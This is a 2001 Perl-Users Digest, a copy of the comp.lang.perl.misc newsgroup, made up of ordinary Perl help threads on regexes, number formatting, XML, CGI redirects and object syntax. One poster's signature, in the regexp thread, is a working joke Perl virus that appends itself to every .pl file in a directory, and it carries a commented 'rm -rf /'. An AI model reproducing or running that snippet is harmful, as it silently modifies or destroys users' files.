[18776] in Perl-Users-Digest
Perl-Users Digest, Issue: 944 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun May 20 14:05:43 2001
Date: Sun, 20 May 2001 11:05:12 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <990381912-v10-i944@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Sun, 20 May 2001 Volume: 10 Number: 944
Today's topics:
Re: Can anyone help me please? (Craig Berry)
Re: error in XML::DOM <goldbb2@earthlink.net>
Re: How does -t work? (Mark Jason Dominus)
Re: HTTP Response suppression <flavell@mail.cern.ch>
Re: Hyphenated File Names <ewcoate@nighthawk.dyndns.org>
Re: Hyphenated File Names (Tad McClellan)
Re: I only want 2 digts behind the dot of a currency va <gfbozzetti@interfree.it>
Re: I only want 2 digts behind the dot of a currency va <gfbozzetti@interfree.it>
Re: I only want 2 digts behind the dot of a currency va <pne-news-20010520@newton.digitalspace.net>
Re: Levels of perl programming <pne-news-20010520@newton.digitalspace.net>
Re: Levels of perl programming (Tad McClellan)
Re: non repeating random numbers (Eric Bohlman)
Re: Perl CGI - Get and Post = Redirected ! Help? <tinamue@zedat.fu-berlin.de>
Re: Perl CGI - Get and Post = Redirected ! Help? <flavell@mail.cern.ch>
Re: Pronouncing ISA (Craig Berry)
Re: RACIST RADIO HOST PIG <a.v.a@home.nl>
Re: regexp: delete everything between <? ... ?> (Rudolf Polzer)
Re: Searching for Postal Code (Mark Jason Dominus)
SET-UP (free) (Bob Moose)
Re: Stubborn regex won't work <bart.lateur@skynet.be>
Re: use an expanding set of modules <iltzu@sci.invalid>
Re: What is wrong with my Regular Expression? (Lee Webb)
Re: Why can't I localize a lexical variable? (Mark Jason Dominus)
Re: XMLout() produces non-well-formed XML (Clinton A. Pierce)
xtropia - Web_store (Banshee Smith)
Re: xtropia - Web_store (Tad McClellan)
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Sun, 20 May 2001 16:50:36 -0000
From: cberry@cinenet.net (Craig Berry)
Subject: Re: Can anyone help me please?
Message-Id: <tgftes552j9rb5@corp.supernews.com>
Robb Meade (Ask@For-It.Com) wrote:
: The subject was 'could I get some help please' - and that was what I
: posted...
Nearly ever first post on a new topic thread is a request for help of one
form or another. Labeling the thread as a request for help imparts
effectively no useful information.
: Being new to this group I did somewhat expect maybe a little more of a
: friendly welcome.
We are helpful but a bit brusque. You'll notice that this group gets 100+
posts per day. Our patience for those who do not follow accepted
conventions (choose a good subject, show your code, describe what you
tried, what you expected, what happened) has been worn rather thin.
: I did try to explain the problem to the best of my ability in a number of
: the posts, not having a knowledge of Perl didnt make that easy. Seems
: people here were more interested in taking the piss, and try to look clever
: about it, rather than being more friendly and helpful.
With literally hundreds of people posting here, we can't necessarily
remember who posted what. I would imagine that nobody realized that you
had posted to threads other than this one.
: I wont bother you again.
As you wish.
--
| Craig Berry - http://www.cinenet.net/~cberry/
--*-- "God becomes as we are that we may be as he is."
| - William Blake
------------------------------
Date: Sun, 20 May 2001 06:42:16 -0400
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: error in XML::DOM
Message-Id: <3B079F88.40C455B0@earthlink.net>
mark wrote:
>
> Normally this error which I have known about for some time doesn't
> cause any problems, however, now it's preventing my daemon from
> running.
>
> unrecognized escape \d passed through at /blah/XML::DOM.pm line 136.
>
> $ReCharRef = "(?:\&#(?:\d+|x[0-9a-fA-F]+);)";
>
> Can I change this to something that doesn't cause an error?
Yes. The problem is that \d has no special meaning inside of qq type
quotes, only inside of a regular expression. To fix it, you can change
it to:
$ReCharRef = qr/(?:\&#(?:\d+|x[0-9a-fA-F]+);)/;
Note that you do not need the \ in front of the &, and you can replace
the range [0-9a-fA-F] with [[:xdigit:]] or \p{IsXDigit}. Note that the
strings "[0-9a-fA-F]" and "\p{IsXDigit}" so you don't gain any *space*
advantage, just some readability. Or you could do this:
$ReCharRef = qr/(?:&#(?:\d+|x[0-9a-f]+);)/i;
This also has the side effect of allowing a capital letter x before hex
digits, but this might not bother you. If I were using this in parsing
html, I'd also want to do tests for named entities, like < etc.
--
Customer: "I would like to try on that suit in the window."
Salesman: "Sorry sir, you will have to use the dressing room."
------------------------------
Date: Sun, 20 May 2001 17:01:48 GMT
From: mjd@plover.com (Mark Jason Dominus)
Subject: Re: How does -t work?
Message-Id: <3b07f87b.5b96$3d@news.op.net>
In article <3B0788C1.CCEFC397@earthlink.net>,
Benjamin Goldberg <goldbb2@earthlink.net> wrote:
>How does the -t operator determine that the passed filehandle is a
>terminal as opposed to a file or socket?
On unix systems, it uses the standard isatty(3) function.
I suspect that this is implemented with fstat(2).
>Does perl ever make a mistake with this?
It's hard to imagine, since it's a straightforward
transformation of a standard library function.
It's not a heuristic, the way -T is.
--
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord
($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&&
close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
------------------------------
Date: Sun, 20 May 2001 13:57:00 +0200
From: "Alan J. Flavell" <flavell@mail.cern.ch>
Subject: Re: HTTP Response suppression
Message-Id: <Pine.LNX.4.30.0105201342010.13428-100000@lxplus003.cern.ch>
On Sun, 20 May 2001, Philip Newton quotes a troublemaker who'd already
been approved for membership of my kill file before I'd got that far
in their followup, saying:
> > HTTP/1.1 200 OK Date: Sat, 19 May 2001 22:25:14 GMT Server:
> > Microsoft-IIS/5.0 Content-type: text/html
As I suggested: a server that conforms to its own rules.
So the answer is to be sought on the vendor's relevant forum.
(Well, if it was me, I'd be looking to upgrade to Apache, rather than
tangling with that thing. YMMV)
> > The response of 200 tells me it's a HTTP Reponse *shrug*.
CGI scripts return CGI responses - to the HTTPD (server).
HTTPDs react to CGI responses by generating an HTTP response. It's
all part of the CGI specification, and almost nothing to do with Perl.
> I suspect your problem is with an understanding of (a) CGI, (b) SSI,
> and/or (c) the web server you chose to use.
Indeed. I don't really know why we bother.
------------------------------
Date: Sun, 20 May 2001 14:35:32 GMT
From: Ed Coates <ewcoate@nighthawk.dyndns.org>
Subject: Re: Hyphenated File Names
Message-Id: <itlfgtco01umq09mu7hmv3tfapqq80ok7l@4ax.com>
On Sun, 20 May 2001 09:48:11 +0000 (UTC), abigail@foad.org (Abigail)
wrote:
>
>
>What made you think you didn't have to quote the filename in the
>first place? -w and 'use strict' are your friends.
>
>
>
>Abigail
Because I've never run into hyphenated file names before. :)
Ed
------------------------------
Date: Sun, 20 May 2001 11:39:32 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Hyphenated File Names
Message-Id: <slrn9gfp9k.5ld.tadmc@tadmc26.august.net>
Ed Coates <ewcoate@nighthawk.dyndns.org> wrote:
>On Sun, 20 May 2001 09:48:11 +0000 (UTC), abigail@foad.org (Abigail)
>wrote:
>
>>What made you think you didn't have to quote the filename in the
>>first place? -w and 'use strict' are your friends.
>
>Because I've never run into hyphenated file names before. :)
"your friends" would have prevented you from having a problem
with unquoted strings (which is really what you are doing).
There are probably some other problems that your friends would
help prevent from happening.
You should enable both of your friends on every Perl program
that you write. Take all the (automated) help you can get.
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Sun, 20 May 2001 10:33:00 +0200
From: GianFranco Bozzetti <gfbozzetti@interfree.it>
Subject: Re: I only want 2 digts behind the dot of a currency value
Message-Id: <3B07813C.14FAFE55@interfree.it>
Lars wrote:
>
> Ive got the value
> 25.2525
> or
> 25 e.g.
>
> these values should become to:
> 25.2525 -> 25,25
> 25 -> 25,00
>
> here's my current ugly code. maybe someone can help me and improve it.
> at the moment it merely adds the zero(s) at the end if neccesairy.
> but how to remove the redundant digts?
>
> $idx=-1;
> $idx=rindex($_,".");
> if($idx==-1) { $_=$_.".-"; }
> else
> {
> if($idx==0) { $_=$_."-"; }
> if($idx==1) { $_=$_."0"; }
> }
>
> # The German form: dots to comma and comma to dots
> $_=~s/\./D/;
> $_=~s/,/\./;
> $_=~s/D/,/;
>
> thx,
> Lars
Try
$num1=25.2525; $num2=43;
$str=sprintf("%.2f %.2f", $num1,$num2);
HTH
------------------------------
Date: Sun, 20 May 2001 11:14:26 +0200
From: GianFranco Bozzetti <gfbozzetti@interfree.it>
Subject: Re: I only want 2 digts behind the dot of a currency value
Message-Id: <3B078AF2.D1A3A89B@interfree.it>
Lars wrote:
>
> Ive got the value
> 25.2525
> or
> 25 e.g.
>
> these values should become to:
> 25.2525 -> 25,25
> 25 -> 25,00
>
> [snip]
> thx,
> Lars
Try
$num1=25.2525;
$num2=43;
$str=sprintf("%.2f %.2f", $num1,$num2);
$str =~ s/\./,/; # period to comma
HTH
------------------------------
Date: Sun, 20 May 2001 15:37:28 +0200
From: Philip Newton <pne-news-20010520@newton.digitalspace.net>
Subject: Re: I only want 2 digts behind the dot of a currency value
Message-Id: <f1ifgtc0f24iv19de6eokc0u18blia76qs@4ax.com>
On Sun, 20 May 2001 09:13:56 GMT, Lars.Plessmann@gmx.de (Lars) wrote:
> problem: now all dots will be translated to comma, but comma not to
> dots! so at the end i merely have comma in my value.
What commas are there in your number? 1275834.37 has a decimal point
that gets changed to a comma; it doesn't have commas in it that should
be changed to dots. And '1,275,834.37' isn't a number in Perl (though
1_275_834.37 is). I *think* sprintf wouldn't produce a number like that
either, but with locales, I'm not so sure.
Cheers,
Philip
--
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.
------------------------------
Date: Sun, 20 May 2001 15:40:17 +0200
From: Philip Newton <pne-news-20010520@newton.digitalspace.net>
Subject: Re: Levels of perl programming
Message-Id: <q5ifgto7h9bk02hc8ksj3q24988lqdpgbm@4ax.com>
On Sun, 20 May 2001 05:58:05 -0400, Benjamin Goldberg
<goldbb2@earthlink.net> wrote:
> So if you're inside of package Foo, which happens to have a sub new, and
> you want to create a new instance of a Bar, you have to call "Bar->new",
Or, to be really strict, 'Bar'->new or Bar::->new. Otherwise you might
run into trouble if you have a subroutine called Bar, and it'll call
Bar()->new.
Cheers,
Philip
--
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.
------------------------------
Date: Sun, 20 May 2001 11:35:02 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Levels of perl programming
Message-Id: <slrn9gfp16.5ld.tadmc@tadmc26.august.net>
Benjamin Goldberg <goldbb2@earthlink.net> wrote:
>Scott R. Godin wrote:
>[snip]
>> 10.a. knows why $var = Method->new; is preferred over $var = new
>> Method;
>
>This is one of the things which I don't get... somebody want to explain
>it to me? I *think* that it has to do with inheritance or dynamic vs
>static binding or somesuch, but I might be mistaken.
That second one is called "indirect object" syntax.
Read all about it in the "WARNING" section in:
perldoc perlobj
"While indirect object syntax may well be appealing to English
speakers and to C++ programmers, be not seduced! It suffers
from two grave problems."
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: 20 May 2001 17:06:59 GMT
From: ebohlman@omsdev.com (Eric Bohlman)
Subject: Re: non repeating random numbers
Message-Id: <9e8tjj$a3g$3@bob.news.rcn.net>
E.Chang <echang@netstorm.net> wrote:
> "Jason from The Workshop" <jason@cyborgworkshop.com> wrote in
> <t85f45e7oans1c@news.supernews.com>:
>> I have need to generate a random number between 1 and 50 without
>> using a number that has already been generated. Its for an online
[snip]
> Here's one approach:
> Instead of an array, use a hash. Then test if a number has been used
> by seeing if the hash has a value for that key.
[snip]
While this will perform fine when you're talking about only 50 numbers, it
will eventually bog down if you have to generate a lot of numbers. If,
say, you needed to generate 1000 numbers, you'd be better off filling an
array with the numbers 1 to 1000 in order and then applying the
Fisher-Yates shuffle (code in perlfaq4) to it. Then your numbers will be
non-repeating by construction.
------------------------------
Date: 20 May 2001 11:51:37 GMT
From: Tina Mueller <tinamue@zedat.fu-berlin.de>
Subject: Re: Perl CGI - Get and Post = Redirected ! Help?
Message-Id: <9e8b49$1j00i$1@fu-berlin.de>
hi,
hopeless programmer <n-a@rocketmail.com> wrote:
> I am trying to use Net::SSLeay to post and get remote scripts and parse the
> results.
> Apparently, the target script replies with a redirection of some sort.
> HTTP/1.1 302 Object moved
well, and what do you get if you do this with netscape?
(if you really get a different result with netscape or other
browsers than with your script try to set the user_agent-header)
tina
--
http://tinita.de \ enter__| |__the___ _ _ ___
tina's moviedatabase \ / _` / _ \/ _ \ '_(_-< of
search & add comments \ \ _,_\ __/\ __/_| /__/ perception
please don't email unless offtopic or followup is set. thanx
------------------------------
Date: Sun, 20 May 2001 15:35:25 +0200
From: "Alan J. Flavell" <flavell@mail.cern.ch>
Subject: Re: Perl CGI - Get and Post = Redirected ! Help?
Message-Id: <Pine.LNX.4.30.0105201443420.13428-100000@lxplus003.cern.ch>
On Sun, 20 May 2001, hopeless programmer wrote:
> I am trying to use Net::SSLeay to post and get remote scripts and parse the
> results.
I'm not intimately familiar with the module, but I'll do my best to
reply on the parts that I feel I understand. Why, though, are you
avoiding the c.l.p.modules group where this would seem to be more
on-topic? xposted and f'ups set.
> Apparently, the target script replies with a redirection of some sort.
>
> HTTP/1.1 302 Object moved
>
> When I print the results to the browser, I get "object moved. the object may
> be located here." with a link to another script, with new query string data.
But that generated page is only intended as a fallback mechanism (for
browsers which don't implement the 302 redirection, which would be
distinctly rare nowadays).
What the client (i,e your script) is supposed to do in response to a
302 (actually there's some technical fiddlybits but let's save that
till later) is to take note of the URL on the Location: header, and
issue a fresh GET transaction to that.
If you'd been using LWP then there are different flavours of call, one
which transparently actions the redirection and only gives the final
answer, and one which returns the Location: response to you and leaves
you to do the rest.
As I understand the documentation,
http://theoryx5.uwinnipeg.ca/CPAN/data/Net_SSLeay.pm/SSLeay.html
it doesn't offer to follow the 302 for you, so presumably you need to
do that yourself.
> #!/usr/local/bin/perl
You're due for a dusty answer here due to omitting to take advantage
of Perl's ability to help you with diagnostics... although that's by
the by...
> print "Content-type: text/html\n\n";
>
> use Net::SSLeay;
>
> ($page, $reply, %headers) = Net::SSLeay::get_https('secure.server.com', 443,
> '/folder/script.asp?querydata&data&data');
At this point you probably need to check the server response to see
whether you've been sent a meaningful content-body, before thinking of
printing it. If you got a status 30x for example, then you need to
actually implement the redirection yourself, AFAICS.
Is the redirection to an http or to an https URL?
Oh, by the way, if you're doing POST (as opposed to GET), I've got a
page on the technical fiddlybits here,
http://ppewww.ph.gla.ac.uk/~flavell/www/post-redirect.html
but I suspect they aren't really germane to your problem.
good luck
------------------------------
Date: Sun, 20 May 2001 16:38:34 -0000
From: cberry@cinenet.net (Craig Berry)
Subject: Re: Pronouncing ISA
Message-Id: <tgfsoa4n1qdue6@corp.supernews.com>
Abigail (abigail@foad.org) wrote:
: Actually, it took me 3 years of working with Perl to recognize the
: "IS-A" meaning. I blame not only not being a native English speaker,
: but also having a somewhat different view about OO.
I grokked it immediately, but only because I taught OO in other languages
years ago, and found that teaching the distinction between is-a and has-a
early and often was the key to making class design comprehensible. As a
result, I'm sensitized to those (compound) words.
--
| Craig Berry - http://www.cinenet.net/~cberry/
--*-- "God becomes as we are that we may be as he is."
| - William Blake
------------------------------
Date: Sun, 20 May 2001 17:20:22 GMT
From: AvA <a.v.a@home.nl>
Subject: Re: RACIST RADIO HOST PIG
Message-Id: <3B07D4F2.B95F30CB@home.nl>
dootfvks@privacy.net wrote:
> I do not understand why the United States
> permits web sites like
> http://www.halturnershow.com to exist.
>
>
sophisticated spam
------------------------------
Date: Sun, 20 May 2001 16:42:33 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: regexp: delete everything between <? ... ?>
Message-Id: <slrn9gfluo.kg.eins@www42.t-offline.de>
fe <f.galassi@e-mind.it> wrote:
> $line =~ s/<\?.*?\?>/ /sg;
Looks correct, but isn't it too easy? The OP surely has already tried it,
maybe it is not only <?...?> (maybe ?> in single- or double-quoted strings
should be ignored)?
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: Sun, 20 May 2001 16:27:50 GMT
From: mjd@plover.com (Mark Jason Dominus)
Subject: Re: Searching for Postal Code
Message-Id: <3b07f07a.5ad9$c2@news.op.net>
In article <ppnegtkci45dh576q2uqpb18v48khv147r@4ax.com>,
Philip Newton <nospam.newton@gmx.li> wrote:
>On Sat, 19 May 2001 16:05:18 GMT, mjd@plover.com (Mark Jason Dominus)
>wrote:
>
>> my %l2p
>
>Can't use global %12 in "my" at -e line 1, near "my %12"
>
>Don't you test your code before posting? :) :) :)
Yes, but I have special arrangements with your news admin to ensure
that it is subtly garbled when you receive it.
It should work fine for everyone else.
--
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord
($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&&
close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
------------------------------
Date: 20 May 2001 08:57:39 -0700
From: yogibearxx@bobmoose.com (Bob Moose)
Subject: SET-UP (free)
Message-Id: <4ec914b1.0105200757.2302ca2c@posting.google.com>
Can somebody set up http://www.kastle.net/products/URLredirect/
For FREE,
set up at http://www.bobmoose.com,
when done send it to ftp.bobmoose.com/publicftpspace,
then i will chmod it and put it in the CGI-BIN
------------------------------
Date: Sun, 20 May 2001 11:35:55 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: Stubborn regex won't work
Message-Id: <tvafgtckmd7iqokrdi842ctrbbtqsbjnsu@4ax.com>
Will Cardwell wrote:
>Thanks for all the ideas. I like the reverse ones best because...I failed
>to mention it ... but I'd like to cover the case: 'ERI000001.INO' also; that
>is not rely on any particular non-word char delimiting on the left.
/.*\b(\w+)\./
--
Bart.
------------------------------
Date: 20 May 2001 17:57:51 GMT
From: Ilmari Karonen <iltzu@sci.invalid>
Subject: Re: use an expanding set of modules
Message-Id: <990379426.13969@itz.pp.sci.fi>
In article <slrn9g9llj.io0.dave@flop.localnet>, Dave Murray-Rust wrote:
>On 15 May 2001 17:43:48 GMT, Anno Siegel
> <anno4000@lublin.zrz.tu-berlin.de> wrote:
>>
>>Perligata! A horror trip in stereo, where Perl and Latin scream left
>>and right under torture. I love it! In small doses.
>
>Wow! I've never seen anything quite like this. Does anyone use it, ors
>it "just" fun? It seems like such a nice idea to have statements not
>rely on token order. Makes me wish I knew latin ;)
It occurs to me that, now that B::Deparse is approaching stability, what
we really need is for someone to write B::Deparse::Perligata.
$ perl -MO=Deparse::Perligata -e 'print "Hello, world!\n";'
-e syntax OK
use Lingua::Romana::Perligata;
sic Hello, world! cis dictum tum novumversum egresso scribe.
--
Ilmari Karonen - http://www.sci.fi/~iltzu/
Please ignore Godzilla / Kira -- do not feed the troll.
------------------------------
Date: 20 May 2001 11:43:30 GMT
From: lee.webb@colossus.com (Lee Webb)
Subject: Re: What is wrong with my Regular Expression?
Message-Id: <slrn9gfbh7.17c.lee.webb@colossus.com>
On Mon, 14 May 2001 03:25:43 GMT, Mike Grimes wrote:
> Hi All,
>
> I am writing a script where I need to bracket some days of the month. I have
> written something like this,
>
> if ($day =~ /[1-3][0-9]/) { do something }
>
> and although I receive no syntax error, I do not achieving the desired
> results either. I am sure my regular expression is incorrect. What I am
> looking for the expression to return TRUE for days between the 10th and
> 31st.
>
> Why won't this work?
>
> P.S. I just realized that what I have above does not fit my own
> requirements. Maybe I should have something like:
>
> if ($day =~ /[1-2][0-9]|3[0-1]/) { do something }
>
> I would appreciate a hand.
"Give yourself a hand" (and you already have...)
Your modification works (didn't you try it out?):
#!/usr/bin/perl -w
use strict;
# Include erroneous data as well
my @days = 0 ... 50;
for (@days)
{
if (/[1-2][0-9]|3[0-1]/)
{
print "Got one: $_\n";
}
}
[lee@colossus lee]$ ./getdaysofmonth.pl
Got one: 10
Got one: 11
Got one: 12
Got one: 13
Got one: 14
Got one: 15
Got one: 16
Got one: 17
Got one: 18
Got one: 19
Got one: 20
Got one: 21
Got one: 22
Got one: 23
Got one: 24
Got one: 25
Got one: 26
Got one: 27
Got one: 28
Got one: 29
Got one: 30
Got one: 31
[lee@colossus lee]$
Am I missing something?
Lee.
------------------------------
Date: Sun, 20 May 2001 16:23:29 GMT
From: mjd@plover.com (Mark Jason Dominus)
Subject: Re: Why can't I localize a lexical variable?
Message-Id: <3b07ef74.5ac5$395@news.op.net>
In article <3b069720.2ad1$235@news.op.net>,
Mark Jason Dominus <mjd@plover.com> wrote:
>Only because Larry considers it confusing. Chip Salzenberg once put
>in a patch to allow it. Unfortunately, I can't find the original
>discussion, but it was certainly prior to March of 1999, because the
>discussion came up again at that time.
Guy Decoux has kindly informed me that the patch (and so the beginning
of the ensuing discussion) is archived at
http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/1997-09/msg01593.html
Larry's followup:
http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/1997-09/msg01835.html
--
@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord
($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&&
close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print
------------------------------
Date: Sun, 20 May 2001 12:58:15 GMT
From: clintp@geeksalad.org (Clinton A. Pierce)
Subject: Re: XMLout() produces non-well-formed XML
Message-Id: <HbPN6.53777$V5.10135823@news1.rdc1.mi.home.com>
[Posted and mailed]
In article <9nbsool8nl.fsf@turing.stanford.edu>,
David Wake <dn131@yahoo.com> writes:
> I am sure this is because the values in the database I am writing
> using XMLout() are strings taken from webpages, and I assume that they
> contain non-permissible characters. Is there any way to get around
> this problem? Perhaps a method which wraps the offending text in
> CDATA?
I just tried it...nope, works fine.
Wanna try paring your data down a bit and posting a sample piece of XML
and code that doesn't covert correctly?
--
Clinton A. Pierce Teach Yourself Perl in 24 Hours *and*
clintp@geeksalad.org Perl Developer's Dictionary -- May 2001
"If you rush a Miracle Man, for details, see http://geeksalad.org
you get rotten Miracles." --Miracle Max, The Princess Bride
------------------------------
Date: 20 May 2001 09:05:39 -0700
From: defont@ii.net (Banshee Smith)
Subject: xtropia - Web_store
Message-Id: <2d45f5bf.0105200805.16c74e34@posting.google.com>
Hi,
I was wondering if anyone was still using this Web_store from Selena
Sol (www.extropia.com)?
I am trying to make HTML templates for the pages and am just a little
perplexed as to where to put the code. (And yes i am new to perl). As
it will have to be hosted on an ISP web server I am quite limited to
the languages I can use. (Perl and cgi are ok)
Does anybody who reads this know of a current alternative for
web_store?
Thanks in advance.
Ban.
------------------------------
Date: Sun, 20 May 2001 11:59:34 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: xtropia - Web_store
Message-Id: <slrn9gfqf6.5ld.tadmc@tadmc26.august.net>
Banshee Smith <defont@ii.net> wrote:
>hosted on an ISP web server I am quite limited to
>the languages I can use. (Perl and cgi are ok)
^
^ why plural?
Perl is a language.
CGI is not a language.
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 944
**************************************